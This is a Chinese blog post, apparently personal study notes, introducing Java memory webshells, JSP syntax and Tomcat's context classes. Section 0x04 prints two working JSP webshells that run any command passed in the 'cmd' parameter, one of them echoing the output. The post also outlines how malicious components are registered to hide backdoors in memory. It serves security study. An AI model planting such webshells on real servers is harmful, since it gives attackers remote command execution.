0x01 写在前面

4 月 6 号开始写的 RMI,那时候就决定 java 安全学习先学到内存马部分,而这篇文章的创建时间是 5 月 21 号,可想而知我的状态了啊啊啊啊啊……

不管怎么说也是来到的这里(虽然走马观花就是了…

内存马的前置基础知识还是挺多的,得放慢速度把基础打牢

0x02 内存马初识

内存马又名无文件马,见名知意,指的是无文件落地的 webshell;由于传统的 webshell 需要写入文件,难以逃避防篡改监控。为了与传统的防御手段对抗,衍生出了一种新型的内存 WebShell 技术,其核心思想用一句话概括,即:利用类加载或 Agent 机制在 JavaEE、框架或中间件的 API 中动态注册一个可访问的后门。

这种动态注册技术来源非常久远,在安全行业里也一直是不温不火的状态,直到冰蝎的更新将 java agent 类型的内存马重新带入大众视野并且瞬间火爆起来。这种技术的爆红除了概念新颖外,也确实符合时代发展潮流,现在针对 webshell 的查杀和识别已经花样百出,大厂研发的使用分类、概率等等方式训练的机器学习算法模型,基于神经网络的流量层面的特征识别手段,基本上都花式吊打常规文件型 webshell。如果你不会写,不会绕,还仅仅使用网上下载的 jsp ,那肯定是不行的。

内存马搭上了冰蝎和反序列化漏洞的快车,快速占领了人们的视野,成为了主流的 webshell 写入方式,我们应研究和学习一下内存马的思想、原理、添加方式,并探究较好、较通用的防御和查杀方式。

目前安全行业主要讨论的内存马主要分为以下几种方式:

  • 动态注册 servlet/filter/listener(使用 servlet-api 的具体实现)
  • 动态注册 interceptor/controller(使用框架如 spring/struts2)
  • 动态注册使用职责链设计模式的中间件、框架的实现(例如 Tomcat 的 Pipeline & Valve,Grizzly 的 FilterChain & Filter 等等)
  • 使用 java agent 技术写入字节码

0x03 JSP 基础

JSP 初识

JSP(Java Server Pages),是 Java 的一种动态网页技术。在早期 Java 的开发技术中,Java 程序员如果想要向浏览器输出一些数据,就必须得手动 println 一行行的 HTML 代码。为了解决这一繁琐的问题,Java 开发了 JSP 技术。

JSP 可以看作一个 Java Servlet,主要用于实现 Java web 应用程序的用户界面部分。网页开发者们通过结合 HTML 代码、XHTML 代码、XML 元素以及嵌入 JSP 操作和命令来编写 JSP。

当第一次访问 JSP 页面时,Tomcat 服务器会将 JSP 页面翻译成一个 java 文件,并将其编译为.class 文件。JSP 通过网页表单获取用户输入数据、访问数据库及其他数据源,然后动态地创建网页

JSP 环境

https://drun1baby.github.io/2022/08/22/Servlet-%E9%A1%B9%E7%9B%AE%E6%90%AD%E5%BB%BA/

我用的 IDEA 版本为 2024.3.7,事实上很多地方都不一样了跟着 AI 搭建的,学习环境搭建还是很有必要的

JSP 语法

JSP 脚本

脚本程序可以包含任意量的 Java 语句、变量、方法或表达式,只要它们在脚本语言中是有效的。脚本程序的格式如下

1
<% 代码片段 %>

demo:

1
2
3
4
5
6
<html>  
<body>
<h2>Hello World!!!</h2>
<% out.println("This is G3ng4r's Blog"); %>
</body>
</html>

JSP 声明

一个声明语句可以声明一个或多个变量、方法,供后面的 Java 代码使用。声明格式如下:

1
<%! 代码片段  %>

等价于:

1
2
3
<jsp:declaration>   
代码片段
</jsp:declaration>

demo:

1
2
3
4
5
6
7
8
9
10
11
<html>
<body>
<h2>Hello World!!!</h2>
<%! String s = "This is G3ng4r's Blog"; %>
<% out.println(s); %>
<%--<jsp:declaration>--%>
<%--String s = "This is G3ng4r's Blog";--%>
<%--out.println(s);--%>
<%--</jsp:declaration>--%>
</body>
</html>

事实上在脚本里面也是可以直接进行声明:

1
<% int i = 3; %>

JSP 表达式

表达式格式:

1
<%= 表达式 %>

等价于:

1
<jsp:expression>表达式</jsp:expression>

demo:

1
2
3
4
5
6
<html>
<body>
<h2>Hello World!!!</h2>
<p><% String name = "G3ng4r"; %>username:<%=name%></p>
</body>
</html>

img

JSP 指令

JSP 指令用来设置与整个 JSP 页面相关的属性。下面有三种 JSP 指令:

  • <%@ page ... %> 定义网页依赖属性,比如脚本语言、error 页面、缓存需求等等
  • <%@ include ... %> 包含其他文件(静态包含)
  • <%@ taglib prefix="c" uri="``http://java.sun.com/jsp/jstl/core``" %> 引入标签库的定义

比如我们能通过 page 指令来设置 jsp 页面的编码格式:

1
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

回显是一样的,因为 JSP 属于模板引擎

JSP 注释

这个就和 html 一样了:

1
<%-- 注释内容 --%>

JSP 内置对象

从本质上说 JSP 就是一个 Servlet,JSP 引擎在调用 JSP 对应的 jspServlet 时,会传递或创建 9 个与 web 开发相关的对象供 jspServlet 使用。 JSP 技术的设计者为便于开发人员在编写 JSP 页面时获得这些 web 对象的引用,特意定义了 9 个相应的变量,开发人员在 JSP 页面中通过这些变量就可以快速获得这 9 大对象的引用,特点如下:

  • 由 JSP 规范提供,不用编写者实例化
  • 通过 Web 容器实现和管理
  • 所有 JSP 页面均可使用
  • 只有在脚本元素的表达式或代码段中才能使用
对象
类型
说明
request
`javax.servlet.http.HttpServletRequest`
获取用户请求信息
response
`javax.servlet.http.HttpServletResponse`
响应客户端请求,并将处理信息返回到客户端
out
`javax.servlet.jsp.JspWriter`
输出内容到 HTML 中
session
`javax.servlet.http.HttpSession`
用来保存用户信息
application
`javax.servlet.ServletContext`
所有用户共享信息
config
`javax.servlet.ServletConfig`
这是一个 Servlet 配置对象,用于 Servlet 和页面的初始化参数
pageContext
`javax.servlet.jsp.PageContext`
JSP 的页面容器,用于访问 page、request、application 和 session 的属性
page
`javax.servlet.jsp.HttpJspPage`
类似于 Java 类的 `this` 关键字,表示当前 JSP 页面
exception
`java.lang.Throwable`
该对象用于处理 JSP 文件执行时发生的错误和异常;只有在 JSP 页面的 `page` 指令中指定 `isErrorPage="true"` 时,才可以在本页面使用 `exception` 对象

0x04 传统内存马

无回显木马:

1
<% Runtime._getRuntime_().exec(request.getParameter("cmd")); %>

有回显木马:

1
2
3
4
5
6
7
8
9
10
11
12
<% if(request.getParameter("cmd")!=null){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.print(new String(b));
}
out.print("</pre>");
}

%>

传统的 JSP 木马特征性强,且需要文件落地,容易被查杀。因此现在出现了内存马技术。Java 内存马又称”无文件马”,相较于传统的 JSP 木马,其最大的特点就是无文件落地,存在于内存之中,隐蔽性强

  • 利用 Java Web 组件:动态添加恶意组件,如 Servlet、Filter、Listener 等。在 Spring 框架下就是 Controller、Intercepter
  • 修改字节码:利用 Java 的 Instrument 机制,动态注入 Agent,在 Java 内存中动态修改字节码,在 HTTP 请求执行路径中的类中添加恶意代码,可以实现根据请求的参数执行任意代码。

0x05 Tomcat 的三个 Context

Context

context 是上下文的意思,在 java 中经常能看到这个东西。那么到底是什么意思呢?

Context 是当前环境中,为了完成某个操作而携带的一组状态、信息和资源。

先用现实例子理解,比如你去银行办理业务:

  • 你是谁
  • 当前登录的是哪个账户
  • 办到第几步
  • 有没有权限
  • 当前窗口号
  • 当前时间

这些信息合在一起:就是你当前办理业务的“上下文”

程序也是一样:

程序执行某段代码时,也需要知道:

  • 当前用户是谁
  • 当前请求是什么
  • 当前对象状态
  • 当前配置
  • 当前线程
  • 当前环境变量

这些东西统称:Context(上下文)

在一次 request 请求发生时,context 会记录当时的情形:当前 WEB 容器中有几个 filter,有什么 servlet,有什么 listener,请求的参数,请求的路径,有没有什么全局的参数等等

ServletContext

ServletContext 是 Servlet 规范中规定的 ServletContext 接口,一般 servlet 都要实现这个接口。

大概就是规定了如果要实现一个 WEB 容器,他的 Context 里面要有这些东西:获取路径,获取参数,获取当前的 filter,获取当前的 servlet 等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
package javax.servlet;


import java.io.InputStream;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Enumeration;
import java.util.EventListener;
import java.util.Map;
import java.util.Set;
import javax.servlet.ServletRegistration.Dynamic;
import javax.servlet.descriptor.JspConfigDescriptor;


public interface ServletContext {
String TEMPDIR = "javax.servlet.context.tempdir";

String getContextPath();
ServletContext getContext(String var1);
int getMajorVersion();
int getMinorVersion();
int getEffectiveMajorVersion();
int getEffectiveMinorVersion();
String getMimeType(String var1);
Set getResourcePaths(String var1);
URL getResource(String var1) throws MalformedURLException;
InputStream getResourceAsStream(String var1);
RequestDispatcher getRequestDispatcher(String var1);
RequestDispatcher getNamedDispatcher(String var1);
/** @deprecated */
Servlet getServlet(String var1) throws ServletException;
/** @deprecated */
Enumeration getServlets();
/** @deprecated */
Enumeration getServletNames();
void log(String var1);
/** @deprecated */
void log(Exception var1, String var2);
void log(String var1, Throwable var2);
String getRealPath(String var1);
String getServerInfo();
String getInitParameter(String var1);
Enumeration getInitParameterNames();
boolean setInitParameter(String var1, String var2);
Object getAttribute(String var1);
Enumeration getAttributeNames();

void setAttribute(String var1, Object var2);

void removeAttribute(String var1);

String getServletContextName();

Dynamic addServlet(String var1, String var2);

Dynamic addServlet(String var1, Servlet var2);


Dynamic addServlet(String var1, Class var2);

extends Servlet> T createServlet(Classvar1) throws ServletException;

ServletRegistration getServletRegistration(String var1);

Map ? extends ServletRegistration> getServletRegistrations();

javax.servlet.FilterRegistration.Dynamic addFilter(String var1, String var2);

javax.servlet.FilterRegistration.Dynamic addFilter(String var1, Filter var2);

javax.servlet.FilterRegistration.Dynamic addFilter(String var1, Class var2);

extends Filter> T createFilter(Classvar1) throws ServletException;
FilterRegistration getFilterRegistration(String var1);
Map ? extends FilterRegistration> getFilterRegistrations();
SessionCookieConfig getSessionCookieConfig();
void setSessionTrackingModes(Setvar1);

Set getDefaultSessionTrackingModes();

Set getEffectiveSessionTrackingModes();

void addListener(String var1);
extends EventListener> void addListener(T var1);

void addListener(Class var1);
extends EventListener> T createListener(Classvar1) throws ServletException;
JspConfigDescriptor getJspConfigDescriptor();
ClassLoader getClassLoader();
void declareRoles(String... var1);
}

可以看到 ServletContext 接口中定义了很多操作,能对 Servlet 中的各种资源进行访问、添加、删除等

ApplicationContext

在 Tomcat 中,ServletContext 规范的实现是 ApplicationContext,因为门面模式的原因,实际套了一层 ApplicationContextFacade。关于什么是门面模式具体可以看这篇文章,简单来讲就是加一层包装。也可以理解为 AOP 吧

其中 ApplicationContext 实现了 ServletContext 规范定义的一些方法,例如 addServletaddFilter

StandardContext

org.apache.catalina.core.StandardContext 是子容器 Context 的标准实现类,其中包含了对 Context 子容器中资源的各种操作。而在 ApplicationContext 类中,对资源的各种操作实际上是调用了 StandardContext 中的方法:

1
2
3
4
5
6
7
8
9
public class ApplicationContext implements ServletContext {

private final StandardContext context;

@Override
public String getRequestCharacterEncoding() {
return context.getRequestCharacterEncoding();
}
}

总结

img

ServletContext 接口的实现类为 ApplicationContext 类和 ApplicationContextFacade 类,其中 ApplicationContextFacade 是对 ApplicationContext 类的包装。我们对 Context 容器中各种资源进行操作时,最终调用的还是 StandardContext 中的方法,因此 StandardContext 是 Tomcat 中负责与底层交互的 Context

参考:

https://drun1baby.top/2022/08/21/Java%E5%86%85%E5%AD%98%E9%A9%AC%E7%B3%BB%E5%88%97-02-%E5%86%85%E5%AD%98%E9%A9%AC%E4%BB%8B%E7%BB%8D/

https://www.javasec.org/javaweb/MemoryShell/

https://www.javasec.org/javaweb/JSP.html